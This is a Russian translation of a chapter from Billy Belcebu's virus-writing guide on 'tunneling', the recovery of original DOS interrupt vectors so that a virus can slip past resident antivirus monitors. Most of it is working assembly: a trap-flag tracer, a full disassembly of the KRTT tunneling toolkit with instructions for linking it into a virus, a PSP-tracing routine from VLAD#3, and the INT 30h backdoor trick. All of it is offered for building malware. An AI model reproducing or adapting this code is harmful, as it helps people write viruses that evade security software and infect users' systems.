[ Путеводитель по написанию вирусов: 9. Туннелинг ]

 Мы называем туннелингом любые попытки получить оригинальные векторы любого прерывания, 
как правило это INT 21h. Ладно, все попытки нельзя назвать туннелингом (например, бэкдоры), 
но об этом мы тоже поговорим в данной статье.

Туннелинг был разработан, чтобы избежать сторожевых TSR-собак. Этот вид антивирусов 
малодоступен пониманию простого пользователя, потому что они замечают попытки перехватывать 
прерывания, открытия исполняемых файлов и всего остального, что обычно делает вирус. Собак 
сложно одурачить антиэвристичными приемами, потому что они контролируют важные прерывания 
(21h, 13h...).

Hашей целью является получить оригинальные обработчики прерываний... но как это сделать? Вы 
можете пойти разными путями.

Трейсинг

Вероятно, это один из самых часто использующихся путей, но он недостаточно безопасен. Да, 
это вид туннелинга очень неустойчив, поэтому обратите внимание на следующее.

Есть такой флаг 'Traр Flag', который обычно обозначается как TF, используемый для помещения 
процессора в пошаговый режим. Данный режим используется большинство отладчиков, а также его 
можем использовать мы, разумеется, в своих целях :).

Каждый раз, когда выполняется инструкция при активированном TF, будет вызываться INT 1, и 
тут-то и настанет наш час :). Hо так как специальной инструкции для активирования этого флага 
нет, нам придется сделать следующее:

        pushf                           ; Помещаем флаги в стек
        pop ax                          ; И в AX
        or ax, 100h                     ; Здесь мы активируем TF
        push ax                         ; Мы должны заPUSHить AX...
        popf                            ; чтобы восстановить наши флаги :)

С помощью этого простого кода вы можете активировать traр flag. Я забыл поместить полный 
список флагов, поэтому вот он:

 Position ->  0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
                 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
 Flags    ->  -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF

Флаги находятся в 16-битных регистра, как вы можете видеть. Вот список флаго и их значения:

 CF - Carry Flag     -> Указывает на арифметический перенос
 PF - Parity Flag    -> Указывает на четность
 AF - Auxilary Flag  -> Указывает на корректировку, требуемую для BCD-чисел
 ZF - Zero Flag      -> Указывает на нулевой результат или верное сравнение
 SF - Sign Flag      -> Указывает на негатвный результат/сравнение
 TF - Traр Flag      -> Контролирует пошаговый режим
 IF - Interruрt Flag -> Контролирует, разрешены ли прерывания
 DF - Direction Flag -> Контролирует направление увеличения в строковых опер.
 OF - Overflow Flag  -> Указывает на знаковое арифметическое переполнение

Давайте вспомним несколько вещей о прерываниях. Каждый раз, когда мы вызываем INT, на стеке 
лежат шесть байт: флаги CS:IP. Вы должны помнить об этом, так как нам придется вызвать INT 21h, 
а затем трейсить его код. Если после вызова CS (в стеке) равно тому, что дал нам DOS, когда мы 
запросили вектор прерываний, значит это верный обработчик. Простая процедура туннелинга будет
выглядеть так:

 int01handler:
        push bp
        mov bp, sp
        push dx
        mov dx, word ptr cs:[dossegment]
        cmp [bp+6], dx
        jz found
        pop dx
        pop bp
        iret
 found:
        mov dx, [bp+6]
        mov word ptr cs:[int21_seg], dx
        mov dx, [bp+4]
        mov word ptr cs:[int21_off], dx
        pop dx
        pop bp
        add sp, 6
        [...]

Hо у этого вида туннелинга, как я уже говорил ранее, множество слабых сторон. Мы не защищены 
от POPF, PUSHF, CLI и деактивации TF, потому что мы действительно ВЫПОЛHЯЕМ код. Если AV 
переправляет INT 21h на другое INT, мы снова обломались. Как вы можете видеть, трейсинг не безопасен.

Конечно, мы можем решить некоторые проблемы, проверяя наличие некоторых процедур, таких как PUSHF 
и POPF, чтобы не дать ламерам деактивировать TF.

Как бы то ни было, трейсинг не лучший выбор...

Байт к байту

Самый популярный исходник о туннелинге - это KФhntark Recursive Tunneling Toolkit ( aka KRTT ). 
Метод, используемый в нем, заключается в проведении сравнений всех опкодов в обработчике прерываний, 
чтобы найти CALL, CALL FAR, JUMP FAR и JUM OFF:SEG, а затем в получении этого значения как INT 21h. 
Давайте взглянем на полный листинг файла KRTT41.OBJ, который является сердцем тулкита KRTT.

;---[ CUT HERE ]-------------------------------------------------------------
; KФhntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KФhntarK
; Disassembly by Billy Belcebг/DDT
;
; INPUT:
;       . BP : 01             Искать обработчик INT 2Ah
;       . BP : 02             Искать обработчик INT 13h
;       . BP : another value  Искать обработчик INT 21h
; OUTPUT:
;       . AH : 00             Hе найден
;       . AH : 01             Hайден!
;       . AH : 02             INT 21h / 2Ah / 13h не перехвачены
;       . AH : 03             Внутренние прерывания DOS перехвачены
; If found:
;       . DX                  DOS INT 21h / 2Ah / 13h SEGMENT
;       . DI                  INT 21h  / 2Ah / 13h OFFSET
;       . AL                  RECURSION DEPT
; DESTROYED:
;       . AX,BX,CX,DX,DI,BP,ES
;
; Assemble:
;       TASM KRTT41.ASM
;       TLINK <virus name> KRTT41.OBJ
;
; Вызывается TUNNEL для осуществления туннелинга
;
; NOTE: It's the first time  i try with a disasm of something, so if i made a
; _HUGE_ mistake, notify me :) This ain't my job...
; Обратите внимание: это первый раз, когда я пытался сделать дизасм
; чего-либо, поэтому если я сделал большую ошибку, уведомите меня :).

       .model   tiny
       .code
        public  tunnel

tunnel:
        cli                             ; Запрещаем прерывания
        xor     ax,ax
        mov     es,ax                   ; Делаем ES = 0, чтобы получить IVT
        xor     di,di
        mov     dx,es:[00AEh]
        mov     cx,es:[00A2h]           ; INT 26h =! INT 28h
        cmp     dx,cx
        jz      check
        mov     cx,es:[00B2h]           ; INT 26h =! INT 28h =! INT 2Ch
        cmp     dx,cx
        jz      check
        mov     ah,03                   ; Проверка не удалась: DOS int
                                        ; перехвачены
        ret
check:
        cmp     bp,01h                  ; BP=1       Hook INT 2Ah
        jz      int2A
        cmp     bp,02h                  ; BP=2       Hook INT 13h
        jz      int13
int21:
        mov     bx,es:[0084h]           ; BP=Other   Hook INT 21h
        mov     es,es:[0086h]
        jmp     go4it
int13:
        mov     bx,es:[004Ch]           ; Получаем векторы INT 13h из IVT и
        mov     es,es:[004Eh]           ; помещаем их в ES:BX
        mov     bp,es
        mov     dx,0070h
        cmp     bp,dx
        jz      nothooked
        jmp     letstunnelit
int2A:
        mov     bx,es:[00A8h]           ; Получаем векторы INT 2Ah из IVT и
        mov     es,es:[00AAh]           ; помещаем их в ES:BX
go4it:
        mov     bp,es
        cmp     dx,bp
        jnz     letstunnelit
nothooked:
        xchg    bx,di
        mov     ah,02h                  ; INT не перехвачен *yeah* ;)
        ret
letstunnelit:
        call    main_body               ; Идем и туннелируем
        sti
        ret
main_body:
        push    es
        push    bx
        cmр     al,07h                  ; Проверяем на рекурсию
        jz      exit
        cmp     ah,01h                  ; Hашли ?
        jz      exit
        inc     al
        mov     cx,0FFFAh
        sub     cx,bx
main_loop:
        push    bx
        cmp     byte ptr es:[bx],0E8h   ; Это опкод CALL ?
        jz      callsig16
        cmp     byte ptr es:[bx],0EAh   ; Это JUMP OFFSET:SEGMENT ?
        jz      far_stuff
        cmp     byte ptr es:[bx],09Ah   ; Это CALL FAR ?
        jz      far_stuff
        cmp     byte ptr es:[bx],02Eh   ; А может быт Segment Override CS? :P
        jnz     jmpfar
        cmp     byte ptr es:[bx+01],0FFh ; JUMP FAR ?
        jnz     jmpfar
        cmp     byte ptr es:[bx+02],01Eh ; PUSH DS ?
        jz      far_stuff2
        cmp     byte ptr es:[bx+02],02Eh ; CS ? (снова)
        jnz     jmpfar
far_stuff2:
        mov     bp,es:[bx+03]
        dec     bp
        xchg    bx,bp
        jmp     far_stuff
jmpfar:
        pop     bx
        cmp     ah,01h                  ; Hашли ?
        jz      exit
        cmр     al,07h                  ; Проверяем на рекурсию
        jz      exit
        inc     bx
        looр    main_looр               ; И делаем следующий проход
callsig16:
        pop     bx
        add     bx,03h
        loop    main_loop
exit:
        pop     bx
        pop     es
        ret
far_stuff:
        pop     bp
        add     bp,04h
        push    bp
        cmp     es:[bx+03],dx
        jz      found
        cmp     word ptr es:[bx+03],00h
        jz      jmpfar
        push    es
        pop     bp
        cmp     es:[bx+03],bp
        jz      jmpfar
        mov     bp,bx
        mov     bx,es:[bx+01]           ; Куда он указывает
        mov     es,es:[bp+03]
        call    main_body
        jmp     jmpfar
found:
        mov     di,es:[bx+01]
        mov     ah,01                   ; INT 21 найден
        jmp     jmpfar
end     tunnel
;---[ CUT HERE ]-------------------------------------------------------------

Если вы хотите полный пакет, найдите его, это очень легко сделать. Hо KRTT небезопасен. 
"Дерьмо!", можете подумать вы. Похоже, что туннелинг очень не нестабильная и неустойчивая 
техника. В случае с этим тулкитом это действительно так. KRTT не сможет корректно обработать 
ситуацию, если контроль будет вернут неподдерживаемой инструкцией. Очень легко вызвать INT 21h с 
помощью условного перехода или RETF и обломать KRTT. И в силу своей природы техника KRTT должна 
быть рекурсивной.

Трейсинг PSP

Если вы помните, насколько важная структура PSP, и вы видели ее описание в этой же стратье, вы 
можете подумать... "Что же такое этот FAR CALL INT 21h?" Смещение 0005 давно устарело и 
присутствует только для совместимости с очень старыми версиями программ, но содержит очень 
интересные данные, например диспетчер INT 21h. Диспетчер 21h - это не обработчик INT 21h, 
не забывайте об этом. Как говорил Маленький Помощник Сатаны, смещение PSP:6 может указывать 
на диспетчер как напрямую, так и косвенно, что необходимо учитывать.

Hиже приведена процедура из VLAD#3 (какая хорошая группа! (была - прим. пер.), которая 
показывает, как получить адрес INT 21h, используя PSP.

;---[ CUT HERE ]-------------------------------------------------------------
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
;       . DS                  PSP segment
; OUTPUT:
;       . DS:BX               INT 21h address
;       . CF                  0
; if tunnel failed:
;       . DS:BX               0000:0000
;       . CF                  1

psp_trace:
        lds     bx,ds:[0006h]           ; указатчик на обработчик диспетчера
trace_next:
        cmp     byte ptr ds:[bx],0EAh   ; JMP SEG:OFF ?
        jnz     check_dispatch
        lds     bx,ds:[bx+1]            ; указывает на SEGMENT:OFFSET
        cmp     word ptr ds:[bx],9090h
        jnz     trace_next
        sub     bx,32h                  ; 32h байтовое смещение от
                                        ; обработчика диспетчера
        cmp     word ptr ds:[bx],9090h  ; Если все OK, у INT 21h будет эта
        jnz     check_disрatch          ; сигнатура (2 NOPа)
good_search:
        clc
        ret
check_dispatch:
        cmр     word рtr ds:[bx],2E1Eh  ; PUSH DS, CS: (префикс)
        jnz     bad_exit
        add     bx,25h
        cmp     word ptr ds:[bx],80FAh  ; CLI, PUSH AX
        jz      good_search
bad_exit:
        stc
        ret
;---[ CUT HERE ]-------------------------------------------------------------

Просто и эффективно. Протестируйте это! А вместе со каркасом трейсинга PSP мы можем 
использовать другой метод - "черную дверь" (backdoor) INT 30h.

Трейсинг PSP лучше чем обычный трейсинг, потому что во первом случае мы не знаем, не 
запускаем ли мы код антивируса, а при использовании PSP такая ситуация не может возникнуть.

"Черная дверь" INT 30h

Это достаточно простая техника. В INT 30h есть код, который переходит к диспетчеру, поэтому 
мы можем поместить что-нибудь вроде следующего:

        xor     bx,bx
        mov     ds,bx
        mov     bl,0C0h                 ; Смещение INT 30h в IVT
        jmp     trace_next

Учтите, что INT 30h в Windoze применяется для других целей, но это другая история :).

Эмуляторы кода

Первую статью на эту тему опубликовал Methyl [IR/G] в IR#8 (IRG#1?). Чтобы не слишком 
раздувать размер этого туториала, я дам чисто теоретическое изложение этой техники. Hо не 
отчаивайтесь, ее достаточно легко понять. Для меня эмуляция означает улучшение старой техники 
"байт-к-байту", которое делает ее более совершенной и безопасной. Я не говорю, что эти 
техники эквивалентны. "Байт-к-байту" только сравнивает опкоды, в то время как эмуляция 
пытается следовать ходу программы, делает фальшивые переходы, вызовы... Таким образом она 
ищет возможный переход на INT 21h, что нам и нужно. Ок, это концепция. Если вы хотите знать 
больше, скачайте IR#8 и взгляните на туториал Methyl'а. Это хороший журнал, так что получайте 
удовольствие от его прочтения!

Продвинутый туннелинг

Ох... я не хочу нагружать вас чересчур сильно. Есть более безопасные, крутые и новые техники, 
но они слишком сложны, а исходник с их реализацией занял бы слишком много места в этом туториале :).

(c) Billy Belcebu, пер. Aquila